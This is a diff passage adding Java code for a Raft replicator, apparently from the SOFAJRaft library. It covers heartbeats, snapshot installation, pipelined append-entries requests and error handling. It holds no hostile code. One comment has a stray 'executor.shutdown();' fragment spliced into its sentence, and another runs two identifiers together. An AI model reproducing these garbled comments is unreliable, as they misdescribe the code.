+    }
+
+    @OnlyForTest
+    Future<Message> getHeartbeatInFly() {
+        return this.heartbeatInFly;
+    }
+
+    @OnlyForTest
+    ScheduledFuture<?> getHeartbeatTimer() {
+        return this.heartbeatTimer;
+    }
+
+    @OnlyForTest
+    void setHasSucceeded() {
+        this.hasSucceeded = true;
+    }
+
+    @OnlyForTest
+    Future<Message> getTimeoutNowInFly() {
+        return this.timeoutNowInFly;
+    }
+
+    /**
+     * Adds a in-flight request
+     * @param reqType   type of request
+     * @param count     count if request
+     * @param size      size in bytes
+     */
+    private void addInflight(final RequestType reqType, final long startIndex, final int count, final int size,
+                             final int seq, final Future<Message> rpcInfly) {
+        this.rpcInFly = new Inflight(reqType, startIndex, count, size, seq, rpcInfly);
+        this.inflights.add(this.rpcInFly);
+        this.nodeMetrics.recordSize("replicate-inflights-count", this.inflights.size());
+    }
+
+    /**
+     * Returns the next in-flight sending index, return -1 when can't send more in-flight requests.
+     *
+     * @return next in-flight sending index
+     */
+    long getNextSendIndex() {
+        // Fast path
+        if (this.inflights.isEmpty()) {
+            return this.nextIndex;
+        }
+        // Too many in-flight requests.
+        if (this.inflights.size() > this.raftOptions.getMaxReplicatorInflightMsgs()) {
+            return -1L;
+        }
+        // Last request should be a AppendEntries request and has some entries.
+        if (this.rpcInFly != null && this.rpcInFly.isSendingLogEntries()) {
+            return this.rpcInFly.startIndex + this.rpcInFly.count;
+        }
+        return -1L;
+    }
+
+    private Inflight pollInflight() {
+        return this.inflights.poll();
+    }
+
+    private void startHeartbeatTimer(final long startMs) {
+        final long dueTime = startMs + this.options.getDynamicHeartBeatTimeoutMs();
+        try {
+            this.heartbeatTimer = this.timerManager.schedule(() -> onTimeout(this.id), dueTime - Utils.nowMs(),
+                TimeUnit.MILLISECONDS);
+        } catch (final Exception e) {
+            LOG.error("Fail to schedule heartbeat timer", e);
+            onTimeout(this.id);
+        }
+    }
+
+    void installSnapshot() {
+        if (this.state == State.Snapshot) {
+            LOG.warn("Replicator {} is installing snapshot, ignore the new request.", this.options.getPeerId());
+            this.id.unlock();
+            return;
+        }
+        boolean doUnlock = true;
+        try {
+            Requires.requireTrue(this.reader == null,
+                "Replicator %s already has a snapshot reader, current state is %s", this.options.getPeerId(),
+                this.state);
+            this.reader = this.options.getSnapshotStorage().open();
+            if (this.reader == null) {
+                final NodeImpl node = this.options.getNode();
+                final RaftException error = new RaftException(EnumOutter.ErrorType.ERROR_TYPE_SNAPSHOT);
+                error.setStatus(new Status(RaftError.EIO, "Fail to open snapshot"));
+                this.id.unlock();
+                doUnlock = false;
+                node.onError(error);
+                return;
+            }
+            final String uri = this.reader.generateURIForCopy();
+            if (uri == null) {
+                final NodeImpl node = this.options.getNode();
+                final RaftException error = new RaftException(EnumOutter.ErrorType.ERROR_TYPE_SNAPSHOT);
+                error.setStatus(new Status(RaftError.EIO, "Fail to generate uri for snapshot reader"));
+                releaseReader();
+                this.id.unlock();
+                doUnlock = false;
+                node.onError(error);
+                return;
+            }
+            final RaftOutter.SnapshotMeta meta = this.reader.load();
+            if (meta == null) {
+                final String snapshotPath = this.reader.getPath();
+                final NodeImpl node = this.options.getNode();
+                final RaftException error = new RaftException(EnumOutter.ErrorType.ERROR_TYPE_SNAPSHOT);
+                error.setStatus(new Status(RaftError.EIO, "Fail to load meta from %s", snapshotPath));
+                releaseReader();
+                this.id.unlock();
+                doUnlock = false;
+                node.onError(error);
+                return;
+            }
+            final InstallSnapshotRequest.Builder rb = InstallSnapshotRequest.newBuilder();
+            rb.setTerm(this.options.getTerm());
+            rb.setGroupId(this.options.getGroupId());
+            rb.setServerId(this.options.getServerId().toString());
+            rb.setPeerId(this.options.getPeerId().toString());
+            rb.setMeta(meta);
+            rb.setUri(uri);
+
+            this.statInfo.runningState = RunningState.INSTALLING_SNAPSHOT;
+            this.statInfo.lastLogIncluded = meta.getLastIncludedIndex();
+            this.statInfo.lastTermIncluded = meta.getLastIncludedTerm();
+
+            final InstallSnapshotRequest request = rb.build();
+            this.state = State.Snapshot;
+            // noinspection NonAtomicOperationOnVolatileField
+            this.installSnapshotCounter++;
+            final long monotonicSendTimeMs = Utils.monotonicMs();
+            final int stateVersion = this.version;
+            final int seq = getAndIncrementReqSeq();
+            final Future<Message> rpcFuture = this.rpcService.installSnapshot(this.options.getPeerId().getEndpoint(),
+                request, new RpcResponseClosureAdapter<InstallSnapshotResponse>() {
+
+                    @Override
+                    public void run(final Status status) {
+                        onRpcReturned(Replicator.this.id, RequestType.Snapshot, status, request, getResponse(), seq,
+                            stateVersion, monotonicSendTimeMs);
+                    }
+                });
+            addInflight(RequestType.Snapshot, this.nextIndex, 0, 0, seq, rpcFuture);
+        } finally {
+            if (doUnlock) {
+                this.id.unlock();
+            }
+        }
+    }
+
+    @SuppressWarnings("unused")
+    static boolean onInstallSnapshotReturned(final ThreadId id, final Replicator r, final Status status,
+                                             final InstallSnapshotRequest request,
+                                             final InstallSnapshotResponse response) {
+        boolean success = true;
+        r.releaseReader();
+        // noinspection ConstantConditions
+        do {
+            final StringBuilder sb = new StringBuilder("Node "). //
+                append(r.options.getGroupId()).append(":").append(r.options.getServerId()). //
+                append(" received InstallSnapshotResponse from ").append(r.options.getPeerId()). //
+                append(" lastIncludedIndex=").append(request.getMeta().getLastIncludedIndex()). //
+                append(" lastIncludedTerm=").append(request.getMeta().getLastIncludedTerm());
+            if (!status.isOk()) {
+                sb.append(" error:").append(status);
+                LOG.info(sb.toString());
+                notifyReplicatorStatusListener(r, ReplicatorEvent.ERROR, status);
+                if (++r.consecutiveErrorTimes % 10 == 0) {
+                    LOG.warn("Fail to install snapshot at peer={}, error={}", r.options.getPeerId(), status);
+                }
+                success = false;
+                break;
+            }
+            if (!response.getSuccess()) {
+                sb.append(" success=false");
+                LOG.info(sb.toString());
+                success = false;
+                break;
+            }
+            // success
+            r.nextIndex = request.getMeta().getLastIncludedIndex() + 1;
+            sb.append(" success=true");
+            LOG.info(sb.toString());
+        } while (false);
+        // We don't retry installing the snapshot explicitly.
+        // id is unlock in sendEntries
+        if (!success) {
+            //should reset states
+            r.resetInflights();
+            r.state = State.Probe;
+            r.block(Utils.nowMs(), status.getCode());
+            return false;
+        }
+        r.hasSucceeded = true;
+        r.notifyOnCaughtUp(RaftError.SUCCESS.getNumber(), false);
+        if (r.timeoutNowIndex > 0 && r.timeoutNowIndex < r.nextIndex) {
+            r.sendTimeoutNow(false, false);
+        }
+        // id is unlock in _send_entriesheartbeatCounter
+        r.state = State.Replicate;
+        return true;
+    }
+
+    private void sendEmptyEntries(final boolean isHeartbeat) {
+        sendEmptyEntries(isHeartbeat, null);
+    }
+
+    /**
+     * Send probe or heartbeat request
+     * @param isHeartbeat      if current entries is heartbeat
+     * @param heartBeatClosure heartbeat callback
+     */
+    @SuppressWarnings("NonAtomicOperationOnVolatileField")
+    private void sendEmptyEntries(final boolean isHeartbeat,
+                                  final RpcResponseClosure<AppendEntriesResponse> heartBeatClosure) {
+        final AppendEntriesRequest.Builder rb = AppendEntriesRequest.newBuilder();
+        if (!fillCommonFields(rb, this.nextIndex - 1, isHeartbeat)) {
+            // id is unlock in installSnapshot
+            installSnapshot();
+            if (isHeartbeat && heartBeatClosure != null) {
+                Utils.runClosureInThread(heartBeatClosure, new Status(RaftError.EAGAIN,
+                    "Fail to send heartbeat to peer %s", this.options.getPeerId()));
+            }
+            return;
+        }
+        try {
+            final long monotonicSendTimeMs = Utils.monotonicMs();
+            final AppendEntriesRequest request = rb.build();
+
+            if (isHeartbeat) {
+                // Sending a heartbeat request
+                this.heartbeatCounter++;
+                RpcResponseClosure<AppendEntriesResponse> heartbeatDone;
+                // Prefer passed-in closure.
+                if (heartBeatClosure != null) {
+                    heartbeatDone = heartBeatClosure;
+                } else {
+                    heartbeatDone = new RpcResponseClosureAdapter<AppendEntriesResponse>() {
+
+                        @Override
+                        public void run(final Status status) {
+                            onHeartbeatReturned(Replicator.this.id, status, request, getResponse(), monotonicSendTimeMs);
+                        }
+                    };
+                }
+                this.heartbeatInFly = this.rpcService.appendEntries(this.options.getPeerId().getEndpoint(), request,
+                    this.options.getElectionTimeoutMs() / 2, heartbeatDone);
+            } else {
+                // Sending a probe request.
+                this.statInfo.runningState = RunningState.APPENDING_ENTRIES;
+                this.statInfo.firstLogIndex = this.nextIndex;
+                this.statInfo.lastLogIndex = this.nextIndex - 1;
+                this.appendEntriesCounter++;
+                this.state = State.Probe;
+                final int stateVersion = this.version;
+                final int seq = getAndIncrementReqSeq();
+                final Future<Message> rpcFuture = this.rpcService.appendEntries(this.options.getPeerId().getEndpoint(),
+                    request, -1, new RpcResponseClosureAdapter<AppendEntriesResponse>() {
+
+                        @Override
+                        public void run(final Status status) {
+                            onRpcReturned(Replicator.this.id, RequestType.AppendEntries, status, request,
+                                getResponse(), seq, stateVersion, monotonicSendTimeMs);
+                        }
+
+                    });
+
+                addInflight(RequestType.AppendEntries, this.nextIndex, 0, 0, seq, rpcFuture);
+            }
+            LOG.debug("Node {} send HeartbeatRequest to {} term {} lastCommittedIndex {}", this.options.getNode()
+                .getNodeId(), this.options.getPeerId(), this.options.getTerm(), request.getCommittedIndex());
+        } finally {
+            this.id.unlock();
+        }
+    }
+
+    boolean prepareEntry(final long nextSendingIndex, final int offset, final RaftOutter.EntryMeta.Builder emb,
+                         final RecyclableByteBufferList dateBuffer) {
+        if (dateBuffer.getCapacity() >= this.raftOptions.getMaxBodySize()) {
+            return false;
+        }
+        final long logIndex = nextSendingIndex + offset;
+        final LogEntry entry = this.options.getLogManager().getEntry(logIndex);
+        if (entry == null) {
+            return false;
+        }
+        emb.setTerm(entry.getId().getTerm());
+        if (entry.hasChecksum()) {
+            emb.setChecksum(entry.getChecksum()); //since 1.2.6
+        }
+        emb.setType(entry.getType());
+        if (entry.getPeers() != null) {
+            Requires.requireTrue(!entry.getPeers().isEmpty(), "Empty peers at logIndex=%d", logIndex);
+            for (final PeerId peer : entry.getPeers()) {
+                emb.addPeers(peer.toString());
+            }
+            if (entry.getOldPeers() != null) {
+                for (final PeerId peer : entry.getOldPeers()) {
+                    emb.addOldPeers(peer.toString());
+                }
+            }
+        } else {
+            Requires.requireTrue(entry.getType() != EnumOutter.EntryType.ENTRY_TYPE_CONFIGURATION,
+                "Empty peers but is ENTRY_TYPE_CONFIGURATION type at logIndex=%d", logIndex);
+        }
+        final int remaining = entry.getData() != null ? entry.getData().remaining() : 0;
+        emb.setDataLen(remaining);
+        if (entry.getData() != null) {
+            // should slice entry data
+            dateBuffer.add(entry.getData().slice());
+        }
+        return true;
+    }
+
+    public static ThreadId start(final ReplicatorOptions opts, final RaftOptions raftOptions) {
+        if (opts.getLogManager() == null || opts.getBallotBox() == null || opts.getNode() == null) {
+            throw new IllegalArgumentException("Invalid ReplicatorOptions.");
+        }
+        final Replicator r = new Replicator(opts, raftOptions);
+        if (!r.rpcService.connect(opts.getPeerId().getEndpoint())) {
+            LOG.error("Fail to init sending channel to {}.", opts.getPeerId());
+            // Return and it will be retried later.
+            return null;
+        }
+
+        // Register replicator metric set.
+        final MetricRegistry metricRegistry = opts.getNode().getNodeMetrics().getMetricRegistry();
+        if (metricRegistry != null) {
+            try {
+                final String replicatorMetricName = getReplicatorMetricName(opts);
+                if (!metricRegistry.getNames().contains(replicatorMetricName)) {
+                    metricRegistry.register(replicatorMetricName, new ReplicatorMetricSet(opts, r));
+                }
+            } catch (final IllegalArgumentException e) {
+                // ignore
+            }
+        }
+
+        // Start replication
+        r.id = new ThreadId(r, r);
+        r.id.lock();
+        notifyReplicatorStatusListener(r, ReplicatorEvent.CREATED);
+        LOG.info("Replicator={}@{} is started", r.id, r.options.getPeerId());
+        r.catchUpClosure = null;
+        r.lastRpcSendTimestamp = Utils.monotonicMs();
+        r.startHeartbeatTimer(Utils.nowMs());
+        // id.unlock in sendEmptyEntries
+        r.sendEmptyEntries(false);
+        return r.id;
+    }
+
+    private static String getReplicatorMetricName(final ReplicatorOptions opts) {
+        return "replicator-" + opts.getNode().getGroupId() + "/" + opts.getPeerId();
+    }
+
+    public static void waitForCaughtUp(final ThreadId id, final long maxMargin, final long dueTime,
+                                       final CatchUpClosure done) {
+        final Replicator r = (Replicator) id.lock();
+
+        if (r == null) {
+            Utils.runClosureInThread(done, new Status(RaftError.EINVAL, "No such replicator"));
+            return;
+        }
+        try {
+            if (r.catchUpClosure != null) {
+                LOG.error("Previous wait_for_caught_up is not over");
+                Utils.runClosureInThread(done, new Status(RaftError.EINVAL, "Duplicated call"));
+                return;
+            }
+            done.setMaxMargin(maxMargin);
+            if (dueTime > 0) {
+                done.setTimer(r.timerManager.schedule(() -> onCatchUpTimedOut(id), dueTime - Utils.nowMs(),
+                    TimeUnit.MILLISECONDS));
+            }
+            r.catchUpClosure = done;
+        } finally {
+            id.unlock();
+        }
+    }
+
+    @Override
+    public String toString() {
+        return "Replicator [state=" + this.state + ", statInfo=" + this.statInfo + ",peerId="
+               + this.options.getPeerId() + "]";
+    }
+
+    static void onBlockTimeoutInNewThread(final ThreadId id) {
+        if (id != null) {
+            continueSending(id, RaftError.ETIMEDOUT.getNumber());
+        }
+    }
+
+    /**
+     * Unblock and continue sending right now.
+     */
+    static void unBlockAndSendNow(final ThreadId id) {
+        if (id == null) {
+            // It was destroyed already
+            return;
+        }
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return;
+        }
+        try {
+            if (r.blockTimer != null) {
+                if (r.blockTimer.cancel(true)) {
+                    onBlockTimeout(id);
+                }
+            }
+        } finally {
+            id.unlock();
+        }
+    }
+
+    static boolean continueSending(final ThreadId id, final int errCode) {
+        if (id == null) {
+            //It was destroyed already
+            return true;
+        }
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return false;
+        }
+        r.waitId = -1;
+        if (errCode == RaftError.ETIMEDOUT.getNumber()) {
+            // Send empty entries after block timeout to check the correct
+            // _next_index otherwise the replicator is likely waits in            executor.shutdown();
+            // _wait_more_entries and no further logs would be replicated even if the
+            // last_index of this followers is less than |next_index - 1|
+            r.sendEmptyEntries(false);
+        } else if (errCode != RaftError.ESTOP.getNumber()) {
+            // id is unlock in _send_entries
+            r.sendEntries();
+        } else {
+            LOG.warn("Replicator {} stops sending entries.", id);
+            id.unlock();
+        }
+        return true;
+    }
+
+    static void onBlockTimeout(final ThreadId arg) {
+        Utils.runInThread(() -> onBlockTimeoutInNewThread(arg));
+    }
+
+    void block(final long startTimeMs, @SuppressWarnings("unused") final int errorCode) {
+        // TODO: Currently we don't care about error_code which indicates why the
+        // very RPC fails. To make it better there should be different timeout for
+        // each individual error (e.g. we don't need check every
+        // heartbeat_timeout_ms whether a dead follower has come back), but it's just
+        // fine now.
+        final long dueTime = startTimeMs + this.options.getDynamicHeartBeatTimeoutMs();
+        try {
+            LOG.debug("Blocking {} for {} ms", this.options.getPeerId(), this.options.getDynamicHeartBeatTimeoutMs());
+            this.blockTimer = this.timerManager.schedule(() -> onBlockTimeout(this.id), dueTime - Utils.nowMs(),
+                TimeUnit.MILLISECONDS);
+            this.statInfo.runningState = RunningState.BLOCKING;
+            this.id.unlock();
+        } catch (final Exception e) {
+            LOG.error("Fail to add timer", e);
+            // id unlock in sendEmptyEntries.
+            sendEmptyEntries(false);
+        }
+    }
+
+    @Override
+    public void onError(final ThreadId id, final Object data, final int errorCode) {
+        final Replicator r = (Replicator) data;
+        if (errorCode == RaftError.ESTOP.getNumber()) {
+            try {
+                for (final Inflight inflight : r.inflights) {
+                    if (inflight != r.rpcInFly) {
+                        inflight.rpcFuture.cancel(true);
+                    }
+                }
+                if (r.rpcInFly != null) {
+                    r.rpcInFly.rpcFuture.cancel(true);
+                    r.rpcInFly = null;
+                }
+                if (r.heartbeatInFly != null) {
+                    r.heartbeatInFly.cancel(true);
+                    r.heartbeatInFly = null;
+                }
+                if (r.timeoutNowInFly != null) {
+                    r.timeoutNowInFly.cancel(true);
+                    r.timeoutNowInFly = null;
+                }
+                if (r.heartbeatTimer != null) {
+                    r.heartbeatTimer.cancel(true);
+                    r.heartbeatTimer = null;
+                }
+                if (r.blockTimer != null) {
+                    r.blockTimer.cancel(true);
+                    r.blockTimer = null;
+                }
+                if (r.waitId >= 0) {
+                    r.options.getLogManager().removeWaiter(r.waitId);
+                }
+                r.notifyOnCaughtUp(errorCode, true);
+            } finally {
+                r.destroy();
+            }
+        } else if (errorCode == RaftError.ETIMEDOUT.getNumber()) {
+            id.unlock();
+            Utils.runInThread(() -> sendHeartbeat(id));
+        } else {
+            id.unlock();
+            // noinspection ConstantConditions
+            Requires.requireTrue(false, "Unknown error code for replicator: " + errorCode);
+        }
+    }
+
+    private static void onCatchUpTimedOut(final ThreadId id) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return;
+        }
+        try {
+            r.notifyOnCaughtUp(RaftError.ETIMEDOUT.getNumber(), false);
+        } finally {
+            id.unlock();
+        }
+    }
+
+    private void notifyOnCaughtUp(final int code, final boolean beforeDestroy) {
+        if (this.catchUpClosure == null) {
+            return;
+        }
+        if (code != RaftError.ETIMEDOUT.getNumber()) {
+            if (this.nextIndex - 1 + this.catchUpClosure.getMaxMargin() < this.options.getLogManager()
+                .getLastLogIndex()) {
+                return;
+            }
+            if (this.catchUpClosure.isErrorWasSet()) {
+                return;
+            }
+            this.catchUpClosure.setErrorWasSet(true);
+            if (code != RaftError.SUCCESS.getNumber()) {
+                this.catchUpClosure.getStatus().setError(code, RaftError.describeCode(code));
+            }
+            if (this.catchUpClosure.hasTimer()) {
+                if (!beforeDestroy && !this.catchUpClosure.getTimer().cancel(true)) {
+                    // There's running timer task, let timer task trigger
+                    // on_caught_up to void ABA problem
+                    return;
+                }
+            }
+        } else {
+            // timed out
+            if (!this.catchUpClosure.isErrorWasSet()) {
+                this.catchUpClosure.getStatus().setError(code, RaftError.describeCode(code));
+            }
+        }
+        final CatchUpClosure savedClosure = this.catchUpClosure;
+        this.catchUpClosure = null;
+        Utils.runClosureInThread(savedClosure, savedClosure.getStatus());
+    }
+
+    private static void onTimeout(final ThreadId id) {
+        if (id != null) {
+            id.setError(RaftError.ETIMEDOUT.getNumber());
+        } else {
+            LOG.warn("Replicator id is null when timeout, maybe it's destroyed.");
+        }
+    }
+
+    void destroy() {
+        final ThreadId savedId = this.id;
+        LOG.info("Replicator {} is going to quit", savedId);
+        this.id = null;
+        releaseReader();
+        // Unregister replicator metric set
+        if (this.options.getNode().getNodeMetrics().isEnabled()) {
+            this.options.getNode().getNodeMetrics().getMetricRegistry().remove(getReplicatorMetricName(this.options));
+        }
+        this.state = State.Destroyed;
+        notifyReplicatorStatusListener((Replicator) savedId.getData(), ReplicatorEvent.DESTROYED);
+        savedId.unlockAndDestroy();
+    }
+
+    private void releaseReader() {
+        if (this.reader != null) {
+            Utils.closeQuietly(this.reader);
+            this.reader = null;
+        }
+    }
+
+    static void onHeartbeatReturned(final ThreadId id, final Status status, final AppendEntriesRequest request,
+                                    final AppendEntriesResponse response, final long rpcSendTime) {
+        if (id == null) {
+            // replicator already was destroyed.
+            return;
+        }
+        final long startTimeMs = Utils.nowMs();
+        Replicator r;
+        if ((r = (Replicator) id.lock()) == null) {
+            return;
+        }
+        boolean doUnlock = true;
+        try {
+            final boolean isLogDebugEnabled = LOG.isDebugEnabled();
+            StringBuilder sb = null;
+            if (isLogDebugEnabled) {
+                sb = new StringBuilder("Node "). //
+                    append(r.options.getGroupId()).append(":").append(r.options.getServerId()). //
+                    append(" received HeartbeatResponse from "). //
+                    append(r.options.getPeerId()). //
+                    append(" prevLogIndex=").append(request.getPrevLogIndex()). //
+                    append(" prevLogTerm=").append(request.getPrevLogTerm());
+            }
+            if (!status.isOk()) {
+                if (isLogDebugEnabled) {
+                    sb.append(" fail, sleep.");
+                    LOG.debug(sb.toString());
+                }
+                r.state = State.Probe;
+                notifyReplicatorStatusListener(r, ReplicatorEvent.ERROR, status);
+                if (++r.consecutiveErrorTimes % 10 == 0) {
+                    LOG.warn("Fail to issue RPC to {}, consecutiveErrorTimes={}, error={}", r.options.getPeerId(),
+                        r.consecutiveErrorTimes, status);
+                }
+                r.startHeartbeatTimer(startTimeMs);
+                return;
+            }
+            r.consecutiveErrorTimes = 0;
+            if (response.getTerm() > r.options.getTerm()) {
+                if (isLogDebugEnabled) {
+                    sb.append(" fail, greater term ").append(response.getTerm()).append(" expect term ")
+                        .append(r.options.getTerm());
+                    LOG.debug(sb.toString());
+                }
+                final NodeImpl node = r.options.getNode();
+                r.notifyOnCaughtUp(RaftError.EPERM.getNumber(), true);
+                r.destroy();
+                node.increaseTermTo(response.getTerm(), new Status(RaftError.EHIGHERTERMRESPONSE,
+                    "Leader receives higher term heartbeat_response from peer:%s", r.options.getPeerId()));
+                return;
+            }
+            if (!response.getSuccess() && response.hasLastLogIndex()) {
+                if (isLogDebugEnabled) {
+                    sb.append(" fail, response term ").append(response.getTerm()).append(" lastLogIndex ")
+                        .append(response.getLastLogIndex());
+                    LOG.debug(sb.toString());
+                }
+                LOG.warn("Heartbeat to peer {} failure, try to send a probe request.", r.options.getPeerId());
+                doUnlock = false;
+                r.sendEmptyEntries(false);
+                r.startHeartbeatTimer(startTimeMs);
+                return;
+            }
+            if (isLogDebugEnabled) {
+                LOG.debug(sb.toString());
+            }
+            if (rpcSendTime > r.lastRpcSendTimestamp) {
+                r.lastRpcSendTimestamp = rpcSendTime;
+            }
+            r.startHeartbeatTimer(startTimeMs);
+        } finally {
+            if (doUnlock) {
+                id.unlock();
+            }
+        }
+    }
+
+    @SuppressWarnings("ContinueOrBreakFromFinallyBlock")
+    static void onRpcReturned(final ThreadId id, final RequestType reqType, final Status status, final Message request,
+                              final Message response, final int seq, final int stateVersion, final long rpcSendTime) {
+        if (id == null) {
+            return;
+        }
+        final long startTimeMs = Utils.nowMs();
+        Replicator r;
+        if ((r = (Replicator) id.lock()) == null) {
+            return;
+        }
+
+        if (stateVersion != r.version) {
+            LOG.debug(
+                "Replicator {} ignored old version response {}, current version is {}, request is {}\n, and response is {}\n, status is {}.",
+                r, stateVersion, r.version, request, response, status);
+            id.unlock();
+            return;
+        }
+
+        final PriorityQueue<RpcResponse> holdingQueue = r.pendingResponses;
+        holdingQueue.add(new RpcResponse(reqType, seq, status, request, response, rpcSendTime));
+
+        if (holdingQueue.size() > r.raftOptions.getMaxReplicatorInflightMsgs()) {
+            LOG.warn("Too many pending responses {} for replicator {}, maxReplicatorInflightMsgs={}",
+                holdingQueue.size(), r.options.getPeerId(), r.raftOptions.getMaxReplicatorInflightMsgs());
+            r.resetInflights();
+            r.state = State.Probe;
+            r.sendEmptyEntries(false);
+            return;
+        }
+
+        boolean continueSendEntries = false;
+
+        final boolean isLogDebugEnabled = LOG.isDebugEnabled();
+        StringBuilder sb = null;
+        if (isLogDebugEnabled) {
+            sb = new StringBuilder("Replicator ").append(r).append(" is processing RPC responses,");
+        }
+        try {
+            int processed = 0;
+            while (!holdingQueue.isEmpty()) {
+                final RpcResponse queuedPipelinedResponse = holdingQueue.peek();
+
+                // Sequence mismatch, waiting for next response.
+                if (queuedPipelinedResponse.seq != r.requiredNextSeq) {
+                    if (processed > 0) {
+                        if (isLogDebugEnabled) {
+                            sb.append("has processed ").append(processed).append(" responses,");
+                        }
+                        break;
+                    } else {
+                        // Do not processed any responses, UNLOCK id and return.
+                        continueSendEntries = false;
+                        id.unlock();
+                        return;
+                    }
+                }
+                holdingQueue.remove();
+                processed++;
+                final Inflight inflight = r.pollInflight();
+                if (inflight == null) {
+                    // The previous in-flight requests were cleared.
+                    if (isLogDebugEnabled) {
+                        sb.append("ignore response because request not found:").append(queuedPipelinedResponse)
+                            .append(",\n");
+                    }
+                    continue;
+                }
+                if (inflight.seq != queuedPipelinedResponse.seq) {
+                    // reset state
+                    LOG.warn(
+                        "Replicator {} response sequence out of order, expect {}, but it is {}, reset state to try again.",
+                        r, inflight.seq, queuedPipelinedResponse.seq);
+                    r.resetInflights();
+                    r.state = State.Probe;
+                    continueSendEntries = false;
+                    r.block(Utils.nowMs(), RaftError.EREQUEST.getNumber());
+                    return;
+                }
+                try {
+                    switch (queuedPipelinedResponse.requestType) {
+                        case AppendEntries:
+                            continueSendEntries = onAppendEntriesReturned(id, inflight, queuedPipelinedResponse.status,
+                                (AppendEntriesRequest) queuedPipelinedResponse.request,
+                                (AppendEntriesResponse) queuedPipelinedResponse.response, rpcSendTime, startTimeMs, r);
+                            break;
+                        case Snapshot:
+                            continueSendEntries = onInstallSnapshotReturned(id, r, queuedPipelinedResponse.status,
+                                (InstallSnapshotRequest) queuedPipelinedResponse.request,
+                                (InstallSnapshotResponse) queuedPipelinedResponse.response);
+                            break;
+                    }
+                } finally {
+                    if (continueSendEntries) {
+                        // Success, increase the response sequence.
+                        r.getAndIncrementRequiredNextSeq();
+                    } else {
+                        // The id is already unlocked in onAppendEntriesReturned/onInstallSnapshotReturned, we SHOULD break out.
+                        break;
+                    }
+                }
+            }
+        } finally {
+            if (isLogDebugEnabled) {
+                sb.append(", after processed, continue to send entries: ").append(continueSendEntries);
+                LOG.debug(sb.toString());
+            }
+            if (continueSendEntries) {
+                // unlock in sendEntries.
+                r.sendEntries();
+            }
+        }
+    }
+
+    /**
+     * Reset in-flight state.
+     */
+    void resetInflights() {
+        this.version++;
+        this.inflights.clear();
+        this.pendingResponses.clear();
+        final int rs = Math.max(this.reqSeq, this.requiredNextSeq);
+        this.reqSeq = this.requiredNextSeq = rs;
+        releaseReader();
+    }
+
+    private static boolean onAppendEntriesReturned(final ThreadId id, final Inflight inflight, final Status status,
+                                                   final AppendEntriesRequest request,
+                                                   final AppendEntriesResponse response, final long rpcSendTime,
+                                                   final long startTimeMs, final Replicator r) {
+        if (inflight.startIndex != request.getPrevLogIndex() + 1) {
+            LOG.warn(
+                "Replicator {} received invalid AppendEntriesResponse, in-flight startIndex={}, request prevLogIndex={}, reset the replicator state and probe again.",
+                r, inflight.startIndex, request.getPrevLogIndex());
+            r.resetInflights();
+            r.state = State.Probe;
+            // unlock id in sendEmptyEntries
+            r.sendEmptyEntries(false);
+            return false;
+        }
+        // record metrics
+        if (request.getEntriesCount() > 0) {
+            r.nodeMetrics.recordLatency("replicate-entries", Utils.monotonicMs() - rpcSendTime);
+            r.nodeMetrics.recordSize("replicate-entries-count", request.getEntriesCount());
+            r.nodeMetrics.recordSize("replicate-entries-bytes", request.getData() != null ? request.getData().size()
+                : 0);
+        }
+
+        final boolean isLogDebugEnabled = LOG.isDebugEnabled();
+        StringBuilder sb = null;
+        if (isLogDebugEnabled) {
+            sb = new StringBuilder("Node "). //
+                append(r.options.getGroupId()).append(":").append(r.options.getServerId()). //
+                append(" received AppendEntriesResponse from "). //
+                append(r.options.getPeerId()). //
+                append(" prevLogIndex=").append(request.getPrevLogIndex()). //
+                append(" prevLogTerm=").append(request.getPrevLogTerm()). //
+                append(" count=").append(request.getEntriesCount());
+        }
+        if (!status.isOk()) {
+            // If the follower crashes, any RPC to the follower fails immediately,
+            // so we need to block the follower for a while instead of looping until
+            // it comes back or be removed
+            // dummy_id is unlock in block
+            if (isLogDebugEnabled) {
+                sb.append(" fail, sleep.");
+                LOG.debug(sb.toString());
+            }
+            notifyReplicatorStatusListener(r, ReplicatorEvent.ERROR, status);
+            if (++r.consecutiveErrorTimes % 10 == 0) {
+                LOG.warn("Fail to issue RPC to {}, consecutiveErrorTimes={}, error={}", r.options.getPeerId(),
+                    r.consecutiveErrorTimes, status);
+            }
+            r.resetInflights();
+            r.state = State.Probe;
+            // unlock in in block
+            r.block(startTimeMs, status.getCode());
+            return false;
+        }
+        r.consecutiveErrorTimes = 0;
+        if (!response.getSuccess()) {
+            if (response.getTerm() > r.options.getTerm()) {
+                if (isLogDebugEnabled) {
+                    sb.append(" fail, greater term ").append(response.getTerm()).append(" expect term ")
+                        .append(r.options.getTerm());
+                    LOG.debug(sb.toString());
+                }
+                final NodeImpl node = r.options.getNode();
+                r.notifyOnCaughtUp(RaftError.EPERM.getNumber(), true);
+                r.destroy();
+                node.increaseTermTo(response.getTerm(), new Status(RaftError.EHIGHERTERMRESPONSE,
+                    "Leader receives higher term heartbeat_response from peer:%s", r.options.getPeerId()));
+                return false;
+            }
+            if (isLogDebugEnabled) {
+                sb.append(" fail, find nextIndex remote lastLogIndex ").append(response.getLastLogIndex())
+                    .append(" local nextIndex ").append(r.nextIndex);
+                LOG.debug(sb.toString());
+            }
+            if (rpcSendTime > r.lastRpcSendTimestamp) {
+                r.lastRpcSendTimestamp = rpcSendTime;
+            }
+            // Fail, reset the state to try again from nextIndex.
+            r.resetInflights();
+            // prev_log_index and prev_log_term doesn't match
+            if (response.getLastLogIndex() + 1 < r.nextIndex) {
+                LOG.debug("LastLogIndex at peer={} is {}", r.options.getPeerId(), response.getLastLogIndex());
+                // The peer contains less logs than leader
+                r.nextIndex = response.getLastLogIndex() + 1;
+            } else {
+                // The peer contains logs from old term which should be truncated,
+                // decrease _last_log_at_peer by one to test the right index to keep
+                if (r.nextIndex > 1) {
+                    LOG.debug("logIndex={} dismatch", r.nextIndex);
+                    r.nextIndex--;
+                } else {
+                    LOG.error("Peer={} declares that log at index=0 doesn't match, which is not supposed to happen",
+                        r.options.getPeerId());
+                }
+            }
+            // dummy_id is unlock in _send_heartbeat
+            r.sendEmptyEntries(false);
+            return false;
+        }
+        if (isLogDebugEnabled) {
+            sb.append(", success");
+            LOG.debug(sb.toString());
+        }
+        // success
+        if (response.getTerm() != r.options.getTerm()) {
+            r.resetInflights();
+            r.state = State.Probe;
+            LOG.error("Fail, response term {} dismatch, expect term {}", response.getTerm(), r.options.getTerm());
+            id.unlock();
+            return false;
+        }
+        if (rpcSendTime > r.lastRpcSendTimestamp) {
+            r.lastRpcSendTimestamp = rpcSendTime;
